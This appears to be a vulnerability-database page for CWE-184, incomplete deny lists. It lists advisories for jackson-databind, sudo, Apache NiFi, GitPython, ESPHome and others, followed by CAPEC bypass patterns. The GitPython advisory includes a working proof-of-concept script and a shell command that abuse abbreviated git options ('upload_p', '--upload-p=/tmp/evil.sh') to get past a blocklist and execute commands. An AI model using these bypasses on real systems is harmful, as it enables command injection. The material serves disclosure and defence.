Common Weakness Enumeration
CWE-184
AllowedIncomplete List of Disallowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
366 vulnerabilities reference this CWE, most recent first.
CVE-2017-15095 (GCVE-0-2017-15095)
Vulnerability from cvelistv5 – Published: 2018-02-06 15:00 – Updated: 2024-09-16 22:57
VLAI
EPSS
VEX
Summary
A deserialization flaw was discovered in the jackson-databind in versions before 2.8.10 and 2.9.1, which could allow an unauthenticated user to perform code execution by sending the maliciously crafted input to the readValue method of the ObjectMapper. This issue extends the previous flaw CVE-2017-7525 by blacklisting more classes that could be used maliciously.
Severity
No CVSS data available.
CWE
Assigner
References
32 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| FasterXML | jackson-databind |
Affected:
before 2.8.10
Affected: before 2.9.1 |
Date Public
2017-06-27 00:00
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CVE-2017-7540 (GCVE-0-2017-7540)
Vulnerability from cvelistv5 – Published: 2017-07-21 22:00 – Updated: 2024-08-05 16:04
VLAI
EPSS
VEX
Summary
rubygem-safemode, as used in Foreman, versions 1.3.2 and earlier are vulnerable to bypassing safe mode limitations via special Ruby syntax. This can lead to deletion of objects for which the user does not have delete permissions or possibly to privilege escalation.
Severity
No CVSS data available.
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/svenfuchs/safemode/pull/23 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Red Hat, Inc. | rubygem-safemode |
Affected:
1.3.2 and earlier
|
Date Public
2017-07-11 00:00
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CVE-2017-7525 (GCVE-0-2017-7525)
Vulnerability from cvelistv5 – Published: 2018-02-06 15:00 – Updated: 2024-09-17 02:21
VLAI
EPSS
VEX
Summary
A deserialization flaw was discovered in the jackson-databind, versions before 2.6.7.1, 2.7.9.1 and 2.8.9, which could allow an unauthenticated user to perform code execution by sending the maliciously crafted input to the readValue method of the ObjectMapper.
Severity
No CVSS data available.
CWE
Assigner
References
60 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| FasterXML | jackson-databind |
Affected:
before 2.6.7.1
Affected: before 2.7.9.1 Affected: before 2.8.9 |
Date Public
2017-04-11 00:00
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CVE-2017-2602 (GCVE-0-2017-2602)
Vulnerability from cvelistv5 – Published: 2018-05-15 21:00 – Updated: 2024-08-05 14:02
VLAI
EPSS
VEX
Summary
jenkins before versions 2.44, 2.32.2 is vulnerable to an improper blacklisting of the Pipeline metadata files in the agent-to-master security subsystem. This could allow metadata files to be written to by malicious agents (SECURITY-358).
Severity
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2… | x_refsource_CONFIRM |
| https://jenkins.io/security/advisory/2017-02-01/ | x_refsource_CONFIRM |
| https://github.com/jenkinsci/jenkins/commit/414ff… | x_refsource_CONFIRM |
| http://www.securityfocus.com/bid/95952 | vdb-entryx_refsource_BID |
Impacted products
Date Public
2018-05-15 00:00
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CVE-2017-0909 (GCVE-0-2017-0909)
Vulnerability from cvelistv5 – Published: 2017-11-16 22:00 – Updated: 2024-09-16 16:49
VLAI
EPSS
VEX
Summary
The private_address_check ruby gem before 0.4.1 is vulnerable to a bypass due to an incomplete blacklist of common private/local network addresses used to prevent server-side request forgery.
Severity
No CVSS data available.
CWE
- CWE-184 - Incomplete Blacklist (CWE-184)
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://hackerone.com/reports/288950 | x_refsource_MISC |
| https://github.com/jtdowney/private_address_check… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| HackerOne | private_address_check ruby gem |
Affected:
Versions before 0.4.1
|
Date Public
2017-11-16 00:00
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CVE-2016-7076 (GCVE-0-2016-7076)
Vulnerability from cvelistv5 – Published: 2018-05-29 13:00 – Updated: 2024-08-06 01:50
VLAI
EPSS
VEX
Summary
sudo before version 1.8.18p1 is vulnerable to a bypass in the sudo noexec restriction if application run via sudo executed wordexp() C library function with a user supplied argument. A local user permitted to run such application via sudo with noexec restriction could possibly use this flaw to execute arbitrary commands with elevated privileges.
Severity
6.4 (Medium)
CWE
Assigner
References
7 references
| URL | Tags |
|---|---|
| https://www.sudo.ws/alerts/noexec_wordexp.html | x_refsource_CONFIRM |
| http://rhn.redhat.com/errata/RHSA-2016-2872.html | vendor-advisoryx_refsource_REDHAT |
| http://www.securityfocus.com/bid/95778 | vdb-entryx_refsource_BID |
| https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2… | x_refsource_CONFIRM |
| https://security.netapp.com/advisory/ntap-2018112… | x_refsource_CONFIRM |
| https://usn.ubuntu.com/3968-1/ | vendor-advisoryx_refsource_UBUNTU |
| https://usn.ubuntu.com/3968-3/ | vendor-advisoryx_refsource_UBUNTU |
Date Public
2016-10-26 00:00
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GHSA-23QF-3JF9-H3Q9
Vulnerability from github – Published: 2023-08-19 00:30 – Updated: 2025-02-13 19:10
VLAI
Summary
Apache NiFi Insufficient Property Validation vulnerability
Details
Apache NiFi 1.21.0 through 1.23.0 support JDBC and JNDI JMS access in several Processors and Controller Services with connection URL validation that does not provide sufficient protection against crafted inputs. An authenticated and authorized user can bypass connection URL validation using custom input formatting. The resolution enhances connection URL validation and introduces validation for additional related properties. Upgrading to Apache NiFi 1.23.1 is the recommended mitigation.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-dbcp-base"
},
"ranges": [
{
"events": [
{
"introduced": "1.21.0"
},
{
"fixed": "1.23.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-jms-processors"
},
"ranges": [
{
"events": [
{
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},
{
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}
],
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}
]
},
{
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"name": "org.apache.nifi:nifi-dbcp-service-api"
},
"ranges": [
{
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},
{
"fixed": "1.23.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
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"ecosystem": "Maven",
"name": "org.apache.nifi:nifi-dbcp-service-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "1.21.0"
},
{
"fixed": "1.23.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-40037"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-697"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-21T20:16:05Z",
"nvd_published_at": "2023-08-18T22:15:10Z",
"severity": "MODERATE"
},
"details": "Apache NiFi 1.21.0 through 1.23.0 support JDBC and JNDI JMS access in several Processors and Controller Services with connection URL validation that does not provide sufficient protection against crafted inputs. An authenticated and authorized user can bypass connection URL validation using custom input formatting. The resolution enhances connection URL validation and introduces validation for additional related properties. Upgrading to Apache NiFi 1.23.1 is the recommended mitigation.",
"id": "GHSA-23qf-3jf9-h3q9",
"modified": "2025-02-13T19:10:21Z",
"published": "2023-08-19T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40037"
},
{
"type": "WEB",
"url": "https://github.com/apache/nifi/pull/7586"
},
{
"type": "WEB",
"url": "https://github.com/apache/nifi/commit/064550aacc189f39d7ddd2c0446068adf250f1bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/nifi"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/NIFI-11920"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/bqbjlrs2p5ghh8sbk5nsxb8xpf9l687q"
},
{
"type": "WEB",
"url": "https://nifi.apache.org/security.html#CVE-2023-40037"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/08/18/2"
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],
"schema_version": "1.4.0",
"severity": [
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"type": "CVSS_V3"
}
],
"summary": "Apache NiFi Insufficient Property Validation vulnerability"
}
GHSA-27PQ-2PH8-8X25
Vulnerability from github – Published: 2026-06-16 21:31 – Updated: 2026-06-18 20:11
VLAI
Summary
Duplicate Advisory: Shell positional parameters could weaken strict inline-eval checks
Details
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-5cj2-3jr2-5h77. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.4.2 contains an inline-eval bypass vulnerability allowing authenticated operators to weaken strict allowlist checks via shell positional parameters. Attackers can combine allowlisted tools with shell positional arguments to place inline-eval content in shell carriers outside intended allowlist rules, enabling execution of unapproved shell-provided content.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2026.4.2"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
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}
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"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
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],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T20:11:47Z",
"nvd_published_at": "2026-06-16T19:17:02Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-5cj2-3jr2-5h77. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw before 2026.4.2 contains an inline-eval bypass vulnerability allowing authenticated operators to weaken strict allowlist checks via shell positional parameters. Attackers can combine allowlisted tools with shell positional arguments to place inline-eval content in shell carriers outside intended allowlist rules, enabling execution of unapproved shell-provided content.",
"id": "GHSA-27pq-2ph8-8x25",
"modified": "2026-06-18T20:11:47Z",
"published": "2026-06-16T21:31:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5cj2-3jr2-5h77"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53855"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-shell-positional-parameters-bypass-in-inline-eval-checks"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Shell positional parameters could weaken strict inline-eval checks",
"withdrawn": "2026-06-18T20:11:47Z"
}
GHSA-2F96-G7MH-G2HX
Vulnerability from github – Published: 2026-07-21 19:43 – Updated: 2026-07-21 19:43
VLAI
Summary
GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist
Details
Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)
Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
CWE: CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)
Severity: inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — final scoring deferred to maintainer/CNA, mirroring the parent.
Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.
The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.
The asymmetry (root cause)
# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
option_name = option.lstrip("-").split("=", 1)[0]
option_tokens = option_name.split(None, 1)
if not option_tokens:
return ""
return dashify(option_tokens[0]) # only transform: "_" -> "-"
@classmethod
def check_unsafe_options(cls, options, unsafe_options):
canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
for option in options:
unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
if unsafe_option is not None:
raise UnsafeOptionError(...)
The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.
Affected code (commit 20c5e275)
| Location | Role |
|---|---|
git/cmd.py:948-960 _canonicalize_option_name |
canonicalizer — no prefix expansion |
git/cmd.py:963-974 check_unsafe_options |
exact-match dict lookup (the incomplete guard) |
git/cmd.py:1511 transform_kwarg |
emits --<dashify(name)>=<value> to the CLI |
git/repo/base.py:1411,1413 |
clone call sites |
git/remote.py:1074,1128,1201 |
fetch / pull / push call sites |
Bypass keys (verified)
| kwarg key | git resolves to | path | weaponizable |
|---|---|---|---|
upload_p, upload_pac |
--upload-pack |
clone / fetch / pull | Yes — direct RCE |
receive_p |
--receive-pack |
push | Yes — direct RCE |
exe |
--exec |
push | Yes — direct RCE |
conf, confi |
--config |
clone | bypasses option blocklist; RCE needs an additional config vector (see note) |
Minimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):
import os, stat, tempfile
from git import Repo
work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")
# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)
bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)
# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
pass # git aborts with GitCommandError AFTER the payload executed
print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed
Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.
Confirmed behavior:
- upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
- allow_unsafe_options=True opt-out behaves as documented (out of scope).
Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.
On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.
Suggested remediation (any one)
- Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈
startswithon the blocked canonical name, afterdashify). - Disable abbreviation at the sink: pass
--end-of-optionsor invoke git in a way that disables long-option abbreviation. - Allowlist option names on security-sensitive subcommands instead of a blocklist.
Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.
Severity
8.8 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.50"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
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{
"events": [
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},
{
"fixed": "3.1.51"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:43:43Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:** CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore\u2192hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git\u0027s unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=\u003cvalue\u003e` \u2192 executed as `--upload-pack=\u003cvalue\u003e` \u2192 command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n option_tokens = option_name.split(None, 1)\n if not option_tokens:\n return \"\"\n return dashify(option_tokens[0]) # only transform: \"_\" -\u003e \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n for option in options:\n unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n if unsafe_option is not None:\n raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`\u2192`-` and does exact dict membership. Git\u0027s CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--\u003cdashify(name)\u003e=\u003cvalue\u003e` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014 direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\") # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY \u0027upload_p\u0027 -\u003e --upload-p=\u003cprog\u003e -\u003e git runs \u003cprog\u003e\ntry:\n Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n pass # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker)) # True -\u003e command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192 passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable \u2014 the vulnerability is in the library\u0027s documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython\u0027s protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.",
"id": "GHSA-2f96-g7mh-g2hx",
"modified": "2026-07-21T19:43:43Z",
"published": "2026-07-21T19:43:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2161"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist"
}
GHSA-2G7J-RV69-9W67
Vulnerability from github – Published: 2026-08-05 15:32 – Updated: 2026-08-05 15:32
VLAI
Details
ESPHome through 2026.7.0-dev contains an operator-precedence bug in the cv.url() validator in esphome/config_validation.py: if parsed.scheme and parsed.netloc or parsed.scheme == "file": return parsed.geturl(). Because and binds tighter than or, any file: URI passes validation regardless of netloc. This validator gates the url: field of the external_components YAML directive's git source schema, which is passed to git clone (git supports file:// natively). A crafted external_components block with url: "file:///attacker/repo" clones an attacker-controlled local path, which is then added to Python's import machinery via ESPHome's component loader, executing arbitrary Python code when the YAML configuration is processed (e.g. via esphome config/esphome run).
Severity
8.6 (High)
{
"affected": [],
"aliases": [
"CVE-2026-71259"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T13:24:49Z",
"severity": "HIGH"
},
"details": "ESPHome through 2026.7.0-dev contains an operator-precedence bug in the cv.url() validator in esphome/config_validation.py: `if parsed.scheme and parsed.netloc or parsed.scheme == \"file\": return parsed.geturl()`. Because `and` binds tighter than `or`, any file: URI passes validation regardless of netloc. This validator gates the `url:` field of the external_components YAML directive\u0027s git source schema, which is passed to `git clone` (git supports file:// natively). A crafted `external_components` block with `url: \"file:///attacker/repo\"` clones an attacker-controlled local path, which is then added to Python\u0027s import machinery via ESPHome\u0027s component loader, executing arbitrary Python code when the YAML configuration is processed (e.g. via `esphome config`/`esphome run`).",
"id": "GHSA-2g7j-rv69-9w67",
"modified": "2026-08-05T15:32:19Z",
"published": "2026-08-05T15:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71259"
},
{
"type": "WEB",
"url": "https://github.com/esphome/esphome"
},
{
"type": "WEB",
"url": "https://github.com/esphome/esphome/blob/dev/esphome/config_validation.py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Implementation
Strategy: Input Validation
Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-182: Flash Injection
An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.